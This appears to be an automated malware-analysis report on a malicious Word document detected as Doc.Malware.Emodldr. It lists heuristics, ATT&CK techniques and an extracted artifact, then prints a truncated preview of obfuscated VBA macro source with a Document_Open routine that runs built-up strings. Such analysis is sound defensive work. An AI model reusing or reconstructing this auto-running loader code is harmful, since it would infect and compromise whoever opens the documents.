MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, including a Document_Open macro that utilizes the Shell() function. The VBA code is heavily obfuscated, but the presence of the Shell() call indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Emodldr' further supports this assessment.
Heuristics 5
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ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://af3R+f3R In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 46960 bytes |
SHA-256: 35cd447e3a94c1632178302c8e236dad4190553dee68c4ce6149bd7c1abb06a0 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "zLOOXlR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub RSUjar(qDRmtP)
XiGzSJ = 91647 - CDbl(15570 / Int(63244) - 20340 / Round(96305 / CSng(31171 - CByte(48868)))) * PaQFml * Fix(92635) - 67389 / CByte(cnWbvN) / zLBvf - CBool(68736) / fvzsJl / Atn(19884)
End Sub
Sub JSJbdB(HitoDd)
vhAuZ = 20621 - CDbl(74773 / Int(27596) - 57267 / Round(13154 / CSng(60793 - CByte(91799)))) * JpsmzU * Fix(84028) - 57792 / CByte(STkGS) / XCrfB - CBool(37572) / PrPMz / Atn(96277)
oCvhQX = 35062 - CDbl(72504 / Int(13244) - 81555 / Round(68647 / CSng(72792 - CByte(64781)))) * PjJSrj * Fix(82570) - 52589 / CByte(zuRJZ) / WlUti - CBool(30031) / YDpvl / Atn(72521)
AwPlJA = 21008 - CDbl(10921 / Int(88149) - 14743 / Round(28875 / CSng(8960 - CByte(25729)))) * wnzNtk * Fix(69372) - 9983 / CByte(szbzI) / cwzFf - CBool(29012) / ifAYq / Atn(32957)
End Sub
Sub MidCcb(qisBL)
hXmiBC = 97861 - CDbl(32962 / Int(21905) - 33775 / Round(98904 / CSng(64580 - CByte(45631)))) * IUNUuS * Fix(26553) - 4526 / CByte(VZWjq) / OEEUTW - CBool(14722) / RWnSaB / Atn(25113)
UFjHWU = 45576 - CDbl(12378 / Int(85651) - 64770 / Round(59019 / CSng(18581 - CByte(33078)))) * fVIiz * Fix(24313) - 90825 / CByte(EWAbv) / GAnAAr - CBool(8373) / zjPth / Atn(95707)
End Sub
Private Sub Document_open()
On Error Resume Next
lrzbIr = 35947 - CDbl(19603 / Int(91043) - 8043 / Round(806 / CSng(67584 - CByte(14229)))) * NHvYZ * Fix(99640) - 84324 / CByte(dJaEOX) / PDfzl - CBool(35016) / CznGnq / Atn(85035)
Application.Run AHwQkb + "UKGPiErDPRId" + UHzjr, oBDdu + bXFLiNL + jAUlVi
EvlSLB = 3662 - CDbl(63605 / Int(17274) - 35070 / Round(15399 / CSng(96257 - CByte(75934)))) * ujXzBa * Fix(31771) - 26236 / CByte(kdtFLw) / WbhBXZ - CBool(67687) / mipjfj / Atn(91189)
End Sub
Sub HnlRzm(ISrzB)
Swpkdw = 63401 - CDbl(32439 / Int(72877) - 50448 / Round(41002 / CSng(19 - CByte(66304)))) * SkjhP * Fix(78054) - 97164 / CByte(RafhkG) / jfchA - CBool(36967) / zwCnOO / Atn(41379)
QROYB = 46096 - CDbl(66437 / Int(18033) - 65389 / Round(24665 / CSng(81460 - CByte(63899)))) * PFwLas * Fix(4829) - 89093 / CByte(Siujkn) / bakQDJ - CBool(27000) / LFAAW / Atn(88514)
JlHkq = 11562 - CDbl(52335 / Int(77209) - 42584 / Round(36556 / CSng(37254 - CByte(44493)))) * jiVnvd * Fix(11599) - 74397 / CByte(RaFrd) / VrBXz - CBool(94729) / IYAwZ / Atn(1468)
End Sub
Sub OzkmPm(kNFsni)
Ujizc = 51102 - CDbl(36729 / Int(59113) - 33351 / Round(91481 / CSng(45909 - CByte(3227)))) * WwnwE * Fix(10138) - 1346 / CByte(UqTcqT) / iviLOU - CBool(75663) / VzwaSj / Atn(61080)
End Sub
Sub ONdKna(oihLA)
LWmGiA = 41312 - CDbl(31939 / Int(24247) - 74408 / Round(76984 / CSng(67237 - CByte(9741)))) * AHfhI * Fix(77419) - 3577 / CByte(ONJzE) / qchImB - CBool(20161) / KTkiKY / Atn(4246)
pbiIHh = 7022 - CDbl(99567 / Int(5962) - 24237 / Round(77930 / CSng(13295 - CByte(14976)))) * zlwha * Fix(69367) - 10176 / CByte(wDGZwL) / ZddCoX - CBool(65112) / vjIYh / Atn(10660)
End Sub
Attribute VB_Name = "MDTlWzmczS"
Sub KfiBh(sCdiKE)
BPWBA = 34381 - CDbl(21509 / Int(45503) - 49721 / Round(43448 / CSng(83433 - CByte(6600)))) * KpznA * Fix(61577) - 69282 / CByte(MCjtw) / jfcrB - CBool(97733) / jGclcf / Atn(13376)
End Sub
Function bXFLiNL()
On Error Resume Next
jwwRfi = 98939 - CDbl(39198 / Int(50798) - 40399 / Round(42973 / CSng(60393 - CByte(68639)))) * pjAPZ * Fix(89866) - 93563 / CByte(QoXoZ) / dbijb - CBool(7432) / vjSsG / Atn(28634)
HoDNi = wXiHs("ohRYU f3R+fG mm", EWdVa - EWdVa + 3 + EWdVa - EWdVa, EWdVa - EWdVa + 9 + EWdVa - EWdVa)
zLmkQ = 14608 - CDbl(85258 / Int(23362) - 58131 / Round(72979 / CSng(97165 - CByte(50475)))) * LjKurI * Fix(52912) - 81841 / CByte(mnDfou) / hXTfuX - CBool(10287) / nXSfR / Atn(95493)
EAfqOW = 545 - CDbl(18634 / Int(93357) - 90709 / Round(4046 / CSng(33200 - CByte(80451)))) * roNBw * Fix(49735) - 99874 / CByte(cWPNJ) / ovFDC - CBool(90618) / QBRdP / Atn(96341)
CDzrE
... (truncated)
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